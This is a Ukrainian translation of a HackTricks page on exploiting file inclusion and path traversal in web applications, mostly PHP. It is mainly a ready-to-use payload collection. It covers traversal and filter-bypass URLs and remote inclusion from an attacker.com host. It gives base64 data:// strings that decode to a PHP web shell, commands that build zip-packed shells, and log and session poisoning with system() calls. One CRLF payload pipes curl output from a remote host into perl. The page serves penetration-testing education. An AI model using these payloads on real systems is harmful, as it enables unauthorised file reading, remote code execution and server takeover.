Включення файлів/Перехід по шляхах

Reading time: 24 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Включення файлів

Віддалене включення файлів (RFI): Файл завантажується з віддаленого сервера (Найкраще: Ви можете написати код, і сервер його виконає). У php це вимкнено за замовчуванням (allow_url_include).
Локальне включення файлів (LFI): Сервер завантажує локальний файл.

Вразливість виникає, коли користувач може якимось чином контролювати файл, який буде завантажено сервером.

Вразливі PHP функції: require, require_once, include, include_once

Цікаві інструменти для експлуатації цієї вразливості: https://github.com/kurobeats/fimap

Сліпий - Цікаві - LFI2RCE файли

python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Змішуючи кілька списків LFI для *nix і додаючи більше шляхів, я створив цей:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Спробуйте також змінити / на \
Спробуйте також додати ../../../../../

Список, який використовує кілька технік для знаходження файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти тут

Windows

Злиття різних списків слів:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Спробуйте також змінити / на \
Спробуйте також видалити C:/ і додати ../../../../../

Список, який використовує кілька технік для знаходження файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти тут

OS X

Перевірте список LFI для linux.

Основний LFI та обходи

Усі приклади стосуються Local File Inclusion, але можуть бути застосовані і до Remote File Inclusion (сторінка=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

послідовності обходу, видалені нерекурсивно

python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Обійти додавання більше символів в кінець наданого рядка (обхід: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Це вирішено з PHP 5.4

Кодування

Ви можете використовувати нестандартні кодування, такі як подвоєне кодування URL (та інші):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

З існуючої папки

Можливо, бекенд перевіряє шлях до папки:

python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Дослідження каталогів файлової системи на сервері

Файлова система сервера може бути досліджена рекурсивно для виявлення каталогів, а не лише файлів, шляхом використання певних технік. Цей процес включає визначення глибини каталогу та перевірку наявності конкретних папок. Нижче наведено детальний метод для досягнення цього:

  1. Визначте глибину каталогу: Визначте глибину вашого поточного каталогу, успішно отримавши файл /etc/passwd (застосовується, якщо сервер на базі Linux). Приклад URL може бути структурований наступним чином, вказуючи на глибину три:
bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Дослідження папок: Додайте назву підозрюваної папки (наприклад, private) до URL, а потім перейдіть назад до /etc/passwd. Додатковий рівень каталогу вимагає збільшення глибини на один:
bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Інтерпретація результатів: Відповідь сервера вказує, чи існує папка:
  • Помилка / Немає виходу: Папка private, ймовірно, не існує за вказаним місцем.
  • Вміст /etc/passwd: Наявність папки private підтверджена.
  1. Рекурсивне дослідження: Виявлені папки можна додатково перевіряти на наявність підкаталогів або файлів, використовуючи ту ж техніку або традиційні методи Local File Inclusion (LFI).

Для дослідження каталогів у різних місцях файлової системи, відповідно налаштуйте payload. Наприклад, щоб перевірити, чи містить /var/www/ каталог private (припускаючи, що поточний каталог на глибині 3), використовуйте:

bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Техніка обмеження шляху

Обмеження шляху - це метод, що використовується для маніпуляції шляхами файлів у веб-додатках. Його часто використовують для доступу до обмежених файлів, обходячи певні заходи безпеки, які додають додаткові символи в кінець шляхів файлів. Мета полягає в тому, щоб створити шлях до файлу, який, після зміни заходом безпеки, все ще вказує на потрібний файл.

У PHP різні представлення шляху до файлу можуть вважатися еквівалентними через природу файлової системи. Наприклад:

  • /etc/passwd, /etc//passwd, /etc/./passwd та /etc/passwd/ всі розглядаються як один і той же шлях.
  • Коли останні 6 символів - це passwd, додавання / (перетворюючи його на passwd/) не змінює цільовий файл.
  • Аналогічно, якщо до шляху файлу додається .php (як shellcode.php), додавання /. в кінці не змінить файл, до якого здійснюється доступ.

Наведенні приклади демонструють, як використовувати обмеження шляху для доступу до /etc/passwd, поширеної цілі через її чутливий вміст (інформація про облікові записи користувачів):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

У цих сценаріях кількість необхідних переходів може становити близько 2027, але це число може змінюватися в залежності від конфігурації сервера.

  • Використання крапкових сегментів та додаткових символів: Послідовності переходів (../), поєднані з додатковими крапковими сегментами та символами, можуть бути використані для навігації по файловій системі, ефективно ігноруючи додані рядки сервером.
  • Визначення необхідної кількості переходів: Через проби та помилки можна знайти точну кількість послідовностей ../, необхідних для навігації до кореневої директорії, а потім до /etc/passwd, забезпечуючи нейтралізацію будь-яких доданих рядків (як-от .php), але залишаючи бажаний шлях (/etc/passwd) незмінним.
  • Початок з фейкової директорії: Це поширена практика починати шлях з неіснуючої директорії (як-от a/). Ця техніка використовується як запобіжний захід або для виконання вимог логіки парсингу шляхів сервера.

При використанні технік скорочення шляхів важливо розуміти поведінку парсингу шляхів сервера та структуру файлової системи. Кожен сценарій може вимагати різного підходу, і часто необхідно тестування, щоб знайти найбільш ефективний метод.

Цю вразливість виправлено в PHP 5.3.

Трюки обходу фільтрів

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

У php це вимкнено за замовчуванням, оскільки allow_url_include є Вимкнено. Він повинен бути Увімкнено, щоб це працювало, і в такому випадку ви могли б включити PHP файл з вашого сервера і отримати RCE:

python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Якщо з якоїсь причини allow_url_include увімкнено, але PHP фільтрує доступ до зовнішніх веб-сторінок, згідно з цим постом, ви можете використовувати, наприклад, протокол даних з base64 для декодування коду PHP у b64 та отримання RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

note

У попередньому коді фінальний +.txt був доданий, оскільки зловмиснику потрібен рядок, який закінчується на .txt, тому рядок закінчується на ньому, а після декодування b64 ця частина поверне просто сміття, і справжній PHP код буде включено (і, отже, виконано).

Інший приклад без використання протоколу php:// буде:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Root element

В Python в коді, як у цьому:

python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Якщо користувач передає абсолютний шлях до file_name, попередній шлях просто видаляється:

python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Це передбачена поведінка відповідно до документації:

Якщо компонент є абсолютним шляхом, всі попередні компоненти скидаються, і з'єднання продовжується з компонента абсолютного шляху.

Java Список директорій

Схоже, що якщо у вас є Path Traversal в Java і ви запитуєте директорію замість файлу, повертається список директорії. Це не відбуватиметься в інших мовах (наскільки мені відомо).

Топ 25 параметрів

Ось список з 25 найкращих параметрів, які можуть бути вразливими до вразливостей локального включення файлів (LFI) (з посилання):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI за допомогою PHP обгорток та протоколів

php://filter

PHP фільтри дозволяють виконувати базові операції модифікації даних перед їх читанням або записом. Є 5 категорій фільтрів:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Видаляє теги з даних (все між символами "<" та ">")
  • Зверніть увагу, що цей фільтр зник з сучасних версій PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Перетворює в іншу кодування (convert.iconv.<input_enc>.<output_enc>). Щоб отримати список всіх підтримуваних кодувань, запустіть у консолі: iconv -l

warning

Зловживаючи фільтром перетворення convert.iconv.*, ви можете генерувати довільний текст, що може бути корисно для запису довільного тексту або створення функції, яка включає процес довільного тексту. Для отримання додаткової інформації перегляньте LFI2RCE через php фільтри.

  • Compression Filters
  • zlib.deflate: Стискає вміст (корисно, якщо потрібно ексфільтрувати багато інформації)
  • zlib.inflate: Розпаковує дані
  • Encryption Filters
  • mcrypt.* : Застарілий
  • mdecrypt.* : Застарілий
  • Інші фільтри
  • Запустивши в php var_dump(stream_get_filters());, ви можете знайти кілька неочікуваних фільтрів:
  • consumed
  • dechunk: скасовує кодування HTTP chunked
  • convert.*
php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

warning

Частина "php://filter" нечутлива до регістру

Використання фільтрів php як оракула для читання довільних файлів

У цьому пості пропонується техніка для читання локального файлу без повернення виходу з сервера. Ця техніка базується на булевій ексфільтрації файлу (символ за символом) з використанням фільтрів php як оракула. Це пов'язано з тим, що фільтри php можуть бути використані для збільшення тексту настільки, щоб php викликав виключення.

У оригінальному пості ви можете знайти детальне пояснення техніки, але ось швидкий підсумок:

  • Використовуйте кодек UCS-4LE, щоб залишити ведучий символ тексту на початку і зробити розмір рядка експоненційно більшим.
  • Це буде використано для генерації тексту настільки великого, коли початкова літера вгадана правильно, що php викличе помилку.
  • Фільтр dechunk видалить все, якщо перший символ не є шістнадцятковим, тому ми можемо дізнатися, чи є перший символ шістнадцятковим.
  • Це, в поєднанні з попереднім (і іншими фільтрами в залежності від вгаданої літери), дозволить нам вгадати літеру на початку тексту, спостерігаючи, коли ми робимо достатньо перетворень, щоб вона більше не була шістнадцятковим символом. Тому що, якщо шістнадцятковий, dechunk не видалить його, а початкова бомба викличе помилку php.
  • Кодек convert.iconv.UNICODE.CP930 перетворює кожну літеру на наступну (тому після цього кодека: a -> b). Це дозволяє нам дізнатися, чи є перша літера a, наприклад, тому що якщо ми застосуємо 6 з цього кодека a->b->c->d->e->f->g, літера більше не є шістнадцятковим символом, отже, dechunk не видалить її, і помилка php буде викликана, оскільки вона множиться з початковою бомбою.
  • Використовуючи інші перетворення, такі як rot13 на початку, можливо витягнути інші символи, такі як n, o, p, q, r (і інші кодеки можуть бути використані для переміщення інших літер у шістнадцятковий діапазон).
  • Коли початковий символ є числом, потрібно закодувати його в base64 і витягнути 2 перші літери, щоб витягнути число.
  • Остаточна проблема полягає в тому, як витягти більше, ніж початкову літеру. Використовуючи фільтри порядку пам'яті, такі як convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE, можливо змінити порядок символів і отримати на першій позиції інші літери тексту.
  • І для того, щоб отримати додаткові дані, ідея полягає в тому, щоб згенерувати 2 байти сміттєвих даних на початку з convert.iconv.UTF16.UTF16, застосувати UCS-4LE, щоб зробити його поворотом з наступними 2 байтами, і видалити дані до сміттєвих даних (це видалить перші 2 байти початкового тексту). Продовжуйте це робити, поки не досягнете бажаного біта для витоку.

У пості також була витікнута інструмент для автоматичного виконання цього: php_filters_chain_oracle_exploit.

php://fd

Цей обгортка дозволяє отримати доступ до дескрипторів файлів, які процес має відкритими. Потенційно корисно для ексфільтрації вмісту відкритих файлів:

php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Ви також можете використовувати php://stdin, php://stdout та php://stderr для доступу до файлових дескрипторів 0, 1 та 2 відповідно (не впевнений, як це може бути корисно в атаці)

zip:// та rar://

Завантажте файл Zip або Rar з PHPShell всередині та отримайте до нього доступ.
Щоб мати можливість зловживати протоколом rar, його необхідно спеціально активувати.

bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Зверніть увагу, що цей протокол обмежений конфігураціями php allow_url_open та allow_url_include

expect://

Expect має бути активовано. Ви можете виконати код, використовуючи це:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Вкажіть ваш payload у параметрах POST:

bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Файл .phar може бути використаний для виконання PHP коду, коли веб-додаток використовує функції, такі як include, для завантаження файлів. Наведений нижче фрагмент PHP коду демонструє створення файлу .phar:

php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Щоб скомпілювати файл .phar, потрібно виконати таку команду:

bash
php --define phar.readonly=0 create_path.php

При виконанні буде створено файл з назвою test.phar, який потенційно може бути використаний для експлуатації вразливостей Local File Inclusion (LFI).

У випадках, коли LFI лише виконує читання файлів без виконання PHP-коду всередині, через функції такі як file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), або filesize(), можна спробувати експлуатувати вразливість десеріалізації. Ця вразливість пов'язана з читанням файлів за допомогою протоколу phar.

Для детального розуміння експлуатації вразливостей десеріалізації в контексті файлів .phar, зверніться до документа, що наведений нижче:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Було можливим зловживати будь-яким довільним читанням файлів з PHP, що підтримує php фільтри, щоб отримати RCE. Детальний опис можна знайти в цьому пості.
Дуже короткий підсумок: 3-байтовий переповнення в купі PHP було використано для зміни ланцюга вільних частин специфічного розміру, щоб мати можливість записувати що завгодно за будь-якою адресою, тому був доданий хук для виклику system.
Було можливим виділяти частини специфічних розмірів, зловживаючи більше php фільтрами.

Більше протоколів

Перевірте більше можливих протоколів для включення тут:

  • php://memory and php://temp — Запис у пам'ять або у тимчасовий файл (не впевнений, як це може бути корисно в атаці на включення файлів)
  • file:// — Доступ до локальної файлової системи
  • http:// — Доступ до HTTP(s) URL
  • ftp:// — Доступ до FTP(s) URL
  • zlib:// — Потоки стиснення
  • glob:// — Знайти імена шляхів, що відповідають шаблону (не повертає нічого, що можна надрукувати, тому не дуже корисно тут)
  • ssh2:// — Secure Shell 2
  • ogg:// — Аудіопотоки (не корисно для читання довільних файлів)

LFI через 'assert' PHP

Ризики Local File Inclusion (LFI) в PHP особливо високі при роботі з функцією 'assert', яка може виконувати код у рядках. Це особливо проблематично, якщо вхідні дані, що містять символи обходу директорій, такі як "..", перевіряються, але не очищуються належним чином.

Наприклад, код PHP може бути спроектований для запобігання обходу директорій таким чином:

bash
assert("strpos('$file', '..') === false") or die("");

Хоча це має на меті зупинити обходи, це ненавмисно створює вектор для ін'єкції коду. Щоб використати це для читання вмісту файлів, зловмисник може використовувати:

plaintext
' and die(highlight_file('/etc/passwd')) or '

Аналогічно, для виконання довільних системних команд можна використовувати:

plaintext
' and die(system("id")) or '

Важливо URL-кодувати ці payloads.

PHP Blind Path Traversal

warning

Ця техніка актуальна в випадках, коли ви контролюєте шлях до файлу функції PHP, яка буде доступатися до файлу, але ви не побачите вміст файлу (як простий виклик file()), але вміст не відображається.

У цьому неймовірному пості пояснюється, як сліпий перехід по шляху може бути зловжито через фільтр PHP для екстракції вмісту файлу через помилковий оракул.

У підсумку, техніка використовує "UCS-4LE" кодування, щоб зробити вміст файлу таким великим, що PHP функція, що відкриває файл, викличе помилку.

Потім, щоб витягти перший символ, фільтр dechunk використовується разом з іншими, такими як base64 або rot13, а в кінці фільтри convert.iconv.UCS-4.UCS-4LE та convert.iconv.UTF16.UTF-16BE використовуються для розміщення інших символів на початку та їх витоку.

Функції, які можуть бути вразливими: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (тільки для читання з цим), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Для технічних деталей перевірте згаданий пост!

LFI2RCE

Remote File Inclusion

Пояснено раніше, перейдіть за цим посиланням.

Через файл журналу Apache/Nginx

Якщо сервер Apache або Nginx вразливий до LFI, всередині функції включення ви можете спробувати отримати доступ до /var/log/apache2/access.log або /var/log/nginx/access.log, встановивши в user agent або в GET параметрі php shell, як <?php system($_GET['c']); ?> і включити цей файл.

warning

Зверніть увагу, що якщо ви використовуєте подвійні лапки для shell замість одинарних лапок, подвійні лапки будуть змінені на рядок "quote;", PHP викине помилку там і нічого іншого не буде виконано.

Також переконайтеся, що ви правильно написали payload, інакше PHP буде помилятися щоразу, коли намагатиметься завантажити файл журналу, і у вас не буде другої можливості.

Це також можна зробити в інших журналах, але будьте обережні, код всередині журналів може бути URL-кодований, і це може знищити Shell. Заголовок authorisation "basic" містить "user:password" в Base64, і він декодується всередині журналів. PHPShell може бути вставлений всередині цього заголовка.
Інші можливі шляхи до журналів:

python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Via Email

Надішліть листа на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад <?php echo system($_REQUEST["cmd"]); ?>, і спробуйте включити його в пошту користувача з шляхом, наприклад /var/mail/<USERNAME> або /var/spool/mail/<USERNAME>

Via /proc/*/fd/*

  1. Завантажте багато shell'ів (наприклад: 100)
  2. Включіть http://example.com/index.php?page=/proc/$PID/fd/$FD, де $PID = PID процесу (можна перебрати) і $FD - файловий дескриптор (також можна перебрати)

Via /proc/self/environ

Як файл журналу, надішліть payload у User-Agent, він буде відображений у файлі /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Якщо ви можете завантажити файл, просто вставте в нього оболонку (наприклад: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Щоб зберегти файл читабельним, найкраще впроваджувати в метадані зображень/doc/pdf

Завантаження ZIP файлу

Завантажте ZIP файл, що містить стиснутий PHP shell, і отримайте доступ:

python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via PHP sessions

Перевірте, чи використовує вебсайт PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

У PHP ці сесії зберігаються у файлах /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Встановіть cookie на <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Використовуйте LFI для включення файлу сесії PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Якщо ssh активний, перевірте, який користувач використовується (/proc/self/status & /etc/passwd) і спробуйте отримати доступ до <HOME>/.ssh/id_rsa

Via vsftpd logs

Логи для FTP сервера vsftpd знаходяться за адресою /var/log/vsftpd.log. У сценарії, де існує вразливість Local File Inclusion (LFI), і доступ до відкритого сервера vsftpd можливий, можна розглянути наступні кроки:

  1. Впровадьте PHP payload у поле імені користувача під час процесу входу.
  2. Після впровадження використовуйте LFI для отримання логів сервера з /var/log/vsftpd.log.

Via php base64 filter (using base64)

Як показано в this статті, PHP base64 filter просто ігнорує Non-base64. Ви можете використовувати це, щоб обійти перевірку розширення файлу: якщо ви надасте base64, що закінчується на ".php", він просто ігноруватиме "." і додасть "php" до base64. Ось приклад payload:

url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (no file needed)

Цей опис пояснює, що ви можете використовувати php фільтри для генерації довільного контенту як виходу. Це в основному означає, що ви можете генерувати довільний php код для включення без необхідності записувати його у файл.

LFI2RCE via PHP Filters

Via segmentation fault

Завантажте файл, який буде збережено як тимчасовий у /tmp, потім у тому ж запиті викличте сегментаційну помилку, і тоді тимчасовий файл не буде видалено і ви зможете його знайти.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

Якщо ви знайшли Local File Inclusion і Nginx працює перед PHP, ви можете отримати RCE за допомогою наступної техніки:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

Якщо ви знайшли Local File Inclusion, навіть якщо у вас немає сесії і session.auto_start вимкнено. Якщо ви надасте PHP_SESSION_UPLOAD_PROGRESS у multipart POST даних, PHP увімкне сесію для вас. Ви можете зловживати цим, щоб отримати RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

Якщо ви знайшли Local File Inclusion і сервер працює на Windows, ви можете отримати RCE:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

Як пояснюється в цьому пості, скрипт /usr/local/lib/phppearcmd.php існує за замовчуванням у php docker образах. Більше того, можливо передавати аргументи до скрипта через URL, оскільки вказано, що якщо параметр URL не має =, його слід використовувати як аргумент.

Наступний запит створює файл у /tmp/hello.php з вмістом <?=phpinfo()?>:

bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Наступне зловживає вразливістю CRLF для отримання RCE (з тут):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Через phpinfo() (file_uploads = on)

Якщо ви знайшли Local File Inclusion і файл, що відкриває phpinfo() з file_uploads = on, ви можете отримати RCE:

LFI2RCE via phpinfo()

Через compress.zlib + PHP_STREAM_PREFER_STUDIO + Витік шляху

Якщо ви знайшли Local File Inclusion і ви можете ексфільтрувати шлях до тимчасового файлу, АЛЕ сервер перевіряє, чи має файл, що включається, PHP мітки, ви можете спробувати обійти цю перевірку за допомогою цього Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Через вічне очікування + брутфорс

Якщо ви можете зловживати LFI для завантаження тимчасових файлів і змусити сервер зависнути виконання PHP, ви могли б брутфорсити імена файлів протягом годин, щоб знайти тимчасовий файл:

LFI2RCE via Eternal waiting

До Фатальної Помилки

Якщо ви включите будь-який з файлів /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Вам потрібно включити той самий файл 2 рази, щоб викликати цю помилку).

Я не знаю, як це може бути корисно, але це може бути.
Навіть якщо ви викликаєте PHP Фатальну Помилку, тимчасові файли PHP, що завантажуються, видаляються.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks